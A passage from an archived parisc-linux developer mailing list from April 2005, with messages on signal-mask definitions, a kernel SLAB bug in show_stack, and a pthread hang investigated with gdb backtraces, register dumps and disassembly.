X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Apr 2005 08:43:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx005) with SMTP; 06 Apr 2005 10:43:45 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 466317D681;
	Wed,  6 Apr 2005 02:43:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28639-07; Wed, 6 Apr 2005 02:43:37 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 506D37D684;
	Wed,  6 Apr 2005 02:43:36 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ABF1C7D67E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Apr 2005 02:43:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28639-04 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 6 Apr 2005 02:43:29 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 2AE9E7D67C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Apr 2005 02:43:29 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j368guhF004156; Wed, 6 Apr 2005 04:42:57 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j368gtvK004155;
	Wed, 6 Apr 2005 04:42:55 -0400 (EDT)
In-Reply-To: <20050406045954.GU1833@baldric.uwo.ca> from "Carlos O'Donell" at
	Apr 6, 2005 00:59:54 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: FcQhYrhDeSE5+76WZHQhaXN2IGRvb8CY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22579

> On Tue, Apr 05, 2005 at 09:21:17PM -0400, John David Anglin wrote:
> > > > What's the situation on the following signals: SIGLTHRRES, SIGLTHRCAN
> > > > and SIGLTHRDBG?  I'm not sure but pthread_cond_signal may need SIGLTHRRES.
> > > > Are these signals 37, 38 and 39?
> > > 
> > > yes, we use the same signals. 
> > 
> > It looks as if we have 36 signals which may need to be blocked.  However,
> > _SIGSET_NWORDS is 32.  Is this a problem?
> 
> I don't quite understand what you mean by this? Can you show me the code
> that defines this and where the error might be?

It appears that we have 36 potentially maskabable interrupts but
_SIGSET_NWORDS is defined as if we had 32 (x86 number).

>>From bits/sigaction.h:

    ...
    /* Additional set of signals to be blocked.  */
	__sigset_t sa_mask;
    };

/* Bits in `sa_flags'.  */

>>From bits/sigset.h:

# define _SIGSET_NWORDS (1024 / (8 * sizeof (unsigned long int)))
typedef struct
  {
    unsigned long int __val[_SIGSET_NWORDS];
  } __sigset_t;


>>From bits/signum.h:

/* Signals.  */
#define SIGHUP          1       /* Hangup (POSIX).  */
...
#define SIGXCPU         33      /* CPU limit exceeded (4.2 BSD).  */
#define SIGXFSZ         34      /* File size limit exceeded (4.2 BSD).  */
#define SIGSTKFLT       36      /* Stack fault.  */

#define _NSIG           65      /* Biggest signal number + 1
                                   (including real-time signals).  */

#define SIGRTMIN        (__libc_current_sigrtmin ())
#define SIGRTMAX        (__libc_current_sigrtmax ())

/* These are the hard limits of the kernel.  These values should not be
   used directly at user level.  */
#define __SIGRTMIN      37

I'm wondering if _SIGSET_NWORDS is correctly defined.

I've been trying to match up some defines in a file to add Ada
tasking to GCC for parisc from an x86 file.  I don't know that
there is a problem but the above seemed strange (i.e., SIGXCPU,
SIGXFSZ and SIGSTKFLT don't appear to be maskable on parisc but
they are maskable on x86).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] SLAB bug SMP 64bit / XFS mess
Date: Wed, 6 Apr 2005 14:17:17 +0200
Lines: 132
Approved: news@gmane.org
Message-ID: <4208D51500017145@mail-5-bnl.tiscali.it>
References: <20050403033456.71a9cafa@Tatooine.r3z0>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623742 13703 80.91.229.3 (22 Nov 2014 02:35:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Apr 2005 12:43:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx026) with SMTP; 06 Apr 2005 14:43:26 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D05D07D695;
	Wed,  6 Apr 2005 06:17:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29704-01; Wed, 6 Apr 2005 06:17:34 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 71F667D68A;
	Wed,  6 Apr 2005 06:17:33 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A76607D684
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Apr 2005 06:17:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29468-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 6 Apr 2005 06:17:26 -0600 (MDT)
Original-Received: from mrqout1.tiscali.it (mrqout1.tiscali.it [195.130.225.11])
	by free.linux.hp.com (Postfix) with ESMTP id C90C37D681
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Apr 2005 06:17:25 -0600 (MDT)
Original-Received: from mail-5-bnl.mail.tiscali.sys ([10.39.115.135]
	helo=mail-5-bnl.tiscali.it)
	by mrqout1.tiscali.it with esmtp (Exim 4.43) id 1DJ9TD-00015F-Hf
	for parisc-linux@lists.parisc-linux.org; Wed, 06 Apr 2005 14:17:23 +0200
Original-Received: from [57.67.177.33] by mail-5-bnl.tiscali.it with HTTP;
	Wed, 6 Apr 2005 14:17:17 +0200
In-Reply-To: <20050403033456.71a9cafa@Tatooine.r3z0>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: J7whYmMJeSE5+76WZHQhaXN2IGRvb4Cj
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22580

Hello all,

> Hi pa-ckers
> 
> tried 2.6.12-rc1-pa9 64bit SMP (gcc 3.3.5) with DEBUG_SLAB enabled, got=

> the following BUG:
> LBA version TR4.0 (0x5) found at 0xfffffffffed3c000
> kernel BUG at mm/slab.c:1495!
> Backtrace:
>  [<0000000010114480>] show_stack+0x60/0xf0

One thought about show_stack() (i.e. dump_stack()) :

its code looks like:
void show_stack(struct task_struct *task, unsigned long *s)
{
        struct unwind_frame_info info;

        if (!task) {
                unsigned long sp;
                struct pt_regs *r;

HERE:
                asm volatile ("copy %%r30, %0" : "=3Dr"(sp));
                r =3D (struct pt_regs *)kmalloc(sizeof(struct pt_regs), G=
FP_KERNEL);
                if (!r)
                        return;
...

while #if DEBUG in slab kmalloc will:
static inline kmem_cache_t *kmem_find_general_cachep(size_t size, int gfp=
flags)
{
        struct cache_sizes *csizep =3D malloc_sizes;

#if DEBUG
        /* This happens if someone tries to call  
        * kmem_cache_create(), or __kmalloc(), before
        * the generic caches are initialized.
        */
        BUG_ON(csizep->cs_cachep =3D=3D NULL);
#endif
...

(this special case appends to me when I tried to change BUG_ON() by WARN_=
ON()
in kernel/posix-cpu-timers.c
see <http://cvs.parisc-linux.org/linux-2.6/kernel/posix-cpu-timers.c?rev=3D=
1.3&view=3Dmarkup>
with following 
Badness in run_posix_cpu_timers at /CAD/linux-2.6.12-rc1-pa9-050401/kerne=
l/posi5
Backtrace:
 [<00000000101124e8>] dump_stack+0x18/0x28
 [<000000001015ed20>] run_posix_cpu_timers+0x168/0x1d0
 [<0000000010113648>] timer_interrupt+0xc8/0x178
 [<00000000101170b8>] real32_call+0xe0/0x110
 [<0000000010116624>] pdc_iodc_putc+0x9c/0x150
 [<00000000101686b4>] __do_IRQ+0x94/0x1e0
 [<0000000010116054>] pdc_tod_read+0xac/0x100
 [<0000000010116050>] pdc_tod_read+0xa8/0x100
 [<00000000103e6890>] proc_dodebug+0x0/0x2d0
 [<00000000103e64f0>] rpc_proc_register+0x0/0xb0
 [<00000000103e5de0>] rpc_unlink+0x0/0x1a8
 [<00000000103e5240>] rpc_depopulate+0x0/0x1f0
 [<00000000103e4cb0>] rpc_show_info+0x0/0xe8
 [<00000000103e4618>] rpc_alloc_inode+0x0/0x30
 [<00000000103e3ed0>] content_open+0x0/0xb0
 [<00000000103e35e0>] qword_addhex+0x0/0x110


Kernel Fault: Code=3D26 regs=3D000000001057cbe0 (Addr=3D0000000000000000)=


     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001110 Not tainted
r00-03  0000000000000000 0000000010481e38 0000000010112680 00000000080000=
0f
r04-07  00000000105c0b40 00000000101124e8 000000001057cb60 000000001057c2=
e0
r08-11  0000000000000000 00000000105c9b40 0000000000000000 00000000105d86=
a4
r12-15  0000000000000000 00000000ffffffff 0000000000000000 00000000f04000=
04
r16-19  000000001057c2e0 00000000f000017c 00000000f0000174 00000000105662=
30
r20-23  000000000800000e 00000000000003ea 00000000000003ea 00000000006297=
7c
r24-27  ffffffffffffffff 00000000000000d0 0000000000000000 00000000105c0b=
40
r28-31  0000000000000066 000000001057cbb0 000000001057cbe0 00000000000000=
60
sr0-3   0000000000000000 0000000000000000 0000000000000000 00000000000000=
00
sr4-7   0000000000000000 0000000000000000 0000000000000000 00000000000000=
00

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000010176d20 0000000010=
176d24
 IIR: 0f4010d5    ISR: 0000000000000000  IOR: 0000000000000000
 CPU:        0   CR30: 000000001057c000 CR31: 0000000010580000
 ORIG_R28: 0000000000000000   
 IAOQ[0]: kmem_cache_alloc+0x18/0x60
 IAOQ[1]: kmem_cache_alloc+0x1c/0x60
 RP(r2): show_stack+0x80/0xf0 
Kernel panic - not syncing: Kernel Fault

a objdump of slab showing:
0000000000000000 <kmem_cache_alloc>:
   0:   0f c2 12 c1     std rp,-10(,sp)
   4:   73 c4 01 08     std,ma r4,80(sp)
   8:   73 c3 3f 11     std r3,-78(sp)
   c:   db 39 0f e0     extrd,s r25,63,32,r25
  10:   00 01 0e 63     rsm 1,r3
  14:   37 dd 3f a1     ldo -30(sp),ret1 
  18:   0f 40 10 d5     ldd 0(,r26),r21    <=3D=3D=3D=3D
  1c:   0e a0 10 94     ldw 0(,r21),r20
  20:   86 80 20 58     cmpib,=3D 0,r20,54 <kmem_cache_alloc+0x54>
)

Hth,
    Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pthread problems - test program
Date: Wed, 6 Apr 2005 16:12:31 -0400 (EDT)
Lines: 199
Approved: news@gmane.org
Message-ID: <200504062012.j36KCW74007167@hiauly1.hia.nrc.ca>
References: <20050405060051.GJ1833@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623742 13705 80.91.229.3 (22 Nov 2014 02:35:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Apr 2005 20:13:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx049) with SMTP; 06 Apr 2005 22:13:25 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D6AC07D6A4;
	Wed,  6 Apr 2005 14:13:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02718-04; Wed, 6 Apr 2005 14:13:12 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DCD8E7D6A5;
	Wed,  6 Apr 2005 14:13:11 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 893D97D6A3
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Apr 2005 14:13:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02572-10 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 6 Apr 2005 14:13:05 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id D06B57D69F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Apr 2005 14:13:04 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j36KCWhF007168; Wed, 6 Apr 2005 16:12:33 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j36KCW74007167;
	Wed, 6 Apr 2005 16:12:32 -0400 (EDT)
In-Reply-To: <20050405060051.GJ1833@baldric.uwo.ca> from "Carlos O'Donell" at
	Apr 5, 2005 02:00:51 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: sCcmYuJTeSE5+76WZHQhaXN2IGRvb8AV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22581

> I found another program that doesn't work on hppa. This one was written
> by Randolph if my memory serves me correctly. I'll have to add it to the
> userspace tests that fail.
> 
> ---
> all: foo.c libfoo.c
> 	gcc -g -shared -c libfoo.c
> 	rm -f libfoo.so
> 	ln -s libfoo.o libfoo.so
> 	gcc -g -o foo foo.c -lfoo -L. -lpthread
> 
> clean:
> 	rm -f *.o
> 	rm -f *.so
> 	rm -f foo

The test can be simplified.  You don't need libfoo.  Just
link foo with -lpthread and it fails.

I see libtcl8.4 is linked against libpthread.so.  This is probably
why 8.3 works better than 8.4.

dave@hiauly6:~/gcc_test/pthr/carlos$ ./foo
Parent = 24778
Exiting on signal from child
Waited for child 24779
Quit (core dumped)

(gdb) bt
#0  __unregister_atfork (dso_handle=0x40184b58)
    at ../linuxthreads/sysdeps/unix/sysv/linux/unregister-atfork.c:28
#1  0x4016ede0 in __pthread_wait_for_restart_signal (self=0x40184b80)
    at pthread.c:1203
#2  0x405e41b8 in _IO_default_xsputn (f=0xbff00b94, data=0x8, n=3220179872)
    at genops.c:477
#3  0x00000000 in ?? ()
    ...

Running under gdb:

dave@hiauly6:~/gcc_test/pthr/carlos$ /usr/bin/gdb foo
GNU gdb 6.3-debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "hppa-linux"...Using host libthread_db library "/usr/lib/debug/libthread_db.so.1".

(gdb) handle SIGUSR2 noprint nostop pass
Signal        Stop      Print   Pass to program Description
SIGUSR2       No        No      Yes             User defined signal 2
(gdb) r
Starting program: /home/dave/gcc_test/pthr/carlos/foo
[Thread debugging using libthread_db enabled]
[New Thread 16384 (LWP 24875)]
Parent = 24875
Exiting on signal from child
Waited for child 24878

Program received signal SIGINT, Interrupt.
[Switching to Thread 16384 (LWP 24875)]
0x4016f05c in __pthread_sigsuspend (set=0xbff00dc8)
    at ../linuxthreads/sysdeps/unix/sysv/linux/pt-sigsuspend.c:54
    54      ../linuxthreads/sysdeps/unix/sysv/linux/pt-sigsuspend.c: No such file or directory.
	    in ../linuxthreads/sysdeps/unix/sysv/linux/pt-sigsuspend.c
(gdb) bt
#0  0x4016f05c in __pthread_sigsuspend (set=0xbff00dc8)
    at ../linuxthreads/sysdeps/unix/sysv/linux/pt-sigsuspend.c:54
#1  0x4016ede0 in __pthread_wait_for_restart_signal (self=0x40184b80)
    at pthread.c:1203
#2  0x4017081c in __pthread_alt_lock (lock=0x406c2980, self=0x40184b80)
    at restart.h:34
#3  0x4016d480 in *__GI___pthread_mutex_lock (mutex=0x406c2970) at mutex.c:123
#4  0x40662234 in __unregister_atfork (dso_handle=0x40184ac0) at list.h:72
#5  0x4016a930 in __do_global_dtors_aux () from /usr/lib/debug/libpthread.so.0
#6  0x40173bb0 in _fini () from /usr/lib/debug/libpthread.so.0
#7  0x400b6898 in _dl_fini () from /lib/ld.so.1
#8  0x400b6898 in _dl_fini () from /lib/ld.so.1
Previous frame identical to this frame (corrupt stack?)
(gdb) disass 0x4016f04c 0x4016f06c
Dump of assembler code from 0x4016f04c to 0x4016f06c:
0x4016f04c <__pthread_sigsuspend+12>:   ldi 8,r25
0x4016f050 <__pthread_sigsuspend+16>:   copy r19,r4
0x4016f054 <__pthread_sigsuspend+20>:   be,l 100(sr2,r0),%sr0,%r31
0x4016f058 <__pthread_sigsuspend+24>:   ldi b3,r20
0x4016f05c <__pthread_sigsuspend+28>:   copy r4,r19
0x4016f060 <__pthread_sigsuspend+32>:   ldw -54(,sp),rp
0x4016f064 <__pthread_sigsuspend+36>:   bv r0(rp)
0x4016f068 <__pthread_sigsuspend+40>:   ldw,mb -40(,sp),r4

The program always appears stuck at 0x4016f05c, so I assume that
the syscall at 0x4016f054 is hung.  There is definitely a timing
issue involved since the program doesn't fail if I don't tell gdb
how to handle SIGUSR2.  I added the parent printout.

(gdb) disass __pthread_sigsuspend
Dump of assembler code for function __pthread_sigsuspend:
0x4016f040 <__pthread_sigsuspend+0>:    stw rp,-14(,sp)
0x4016f044 <__pthread_sigsuspend+4>:    stw,ma r4,40(,sp)
0x4016f048 <__pthread_sigsuspend+8>:    stw r19,-20(,sp)
0x4016f04c <__pthread_sigsuspend+12>:   ldi 8,r25
0x4016f050 <__pthread_sigsuspend+16>:   copy r19,r4
0x4016f054 <__pthread_sigsuspend+20>:   be,l 100(sr2,r0),%sr0,%r31
0x4016f058 <__pthread_sigsuspend+24>:   ldi b3,r20
0x4016f05c <__pthread_sigsuspend+28>:   copy r4,r19
0x4016f060 <__pthread_sigsuspend+32>:   ldw -54(,sp),rp
0x4016f064 <__pthread_sigsuspend+36>:   bv r0(rp)
0x4016f068 <__pthread_sigsuspend+40>:   ldw,mb -40(,sp),r4
End of assembler dump.
(gdb) info reg
flags          0x0      0
r1             0x40661ee7       1080434407
rp             0x4016ede3       1075244515
r3             0x40184b58       1075333976
r4             0x40185c28       1075338280
r5             0x40184b80       1075334016
r6             0x40000328       1073742632
r7             0xbff00bd4       3220179924
r8             0xbff00be0       3220179936
r9             0x1      1
r10            0xbff00bd8       3220179928
r11            0x400bf354       1074525012
r12            0x400d04b8       1074595000
r13            0x2      2
r14            0x400d0d70       1074597232
r15            0xbff00bd8       3220179928
r16            0x400d0724       1074595620
r17            0xbff00bd4       3220179924
r18            0x0      0
r19            0x40185c28       1075338280
r20            0xb3     179
r21            0x1b     27
r22            0xbff00dcc       3220180428
---Type <return> to continue, or q <return> to quit---
r23            0x0      0
r24            0xbff00dc8       3220180424
r25            0x8      8
r26            0xbff00dc8       3220180424
dp             0x20e84  134788
ret0           0xfffffffc       4294967292
ret1           0x37d    893
sp             0xbff00f00       3220180736
r31            0x4016f05f       1075245151
sar            0x1b     27
pcoqh          0x4016f05f       1075245151
pcsqh          0x0      0
pcoqt          0x4016f063       1075245155
pcsqt          0x0      0
eiem           0x0      0
iir            0x0      0
isr            0x0      0
ior            0x0      0
ipsw           0xb      11
goto           0x0      0
sr4            0x0      0
sr0            0x0      0
sr1            0x0      0
---Type <return> to continue, or q <return> to quit---
sr2            0x0      0
sr3            0x0      0
sr5            0x0      0
sr6            0x0      0
sr7            0x0      0
cr0            0x0      0
cr8            0x0      0
cr9            0x0      0
ccr            0x0      0
cr12           0x0      0
cr13           0x0      0
cr24           0x0      0
cr25           0x0      0
cr26           0x0      0
mpsfu_high     0x0      0
mpsfu_low      0x0      0
mpsfu_ovflo    0x0      0
pad            0x0      0
fpsr           0x0      0
fpe1           0x0      0
fpe2           0x0      0
fpe3           0x0      0
fpe4           0x0      0
---Type <return> to continue, or q <return> to quit---
fpe5           0x0      0
fpe6           0x0      0
fpe7           0x0      0

Does this help?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pthread problems - test program
Date: Wed, 6 Apr 2005 16:25:17 -0400
Lines: 54
Approved: news@gmane.org
Message-ID: <20050406202517.GB1833@baldric.uwo.ca>
References: <20050405060051.GJ1833@baldric.uwo.ca>
	<200504062012.j36KCW74007167@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623742 13708 80.91.229.3 (22 Nov 2014 02:35:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Apr 2005 20:25:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx039) with SMTP; 06 Apr 2005 22:25:36 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BC1367D6A5;
	Wed,  6 Apr 2005 14:25:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03069-01; Wed, 6 Apr 2005 14:25:33 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 578BF7D6A8;
	Wed,  6 Apr 2005 14:25:32 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3B5917D6A4
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Apr 2005 14:25:30 -0600 (MDT)
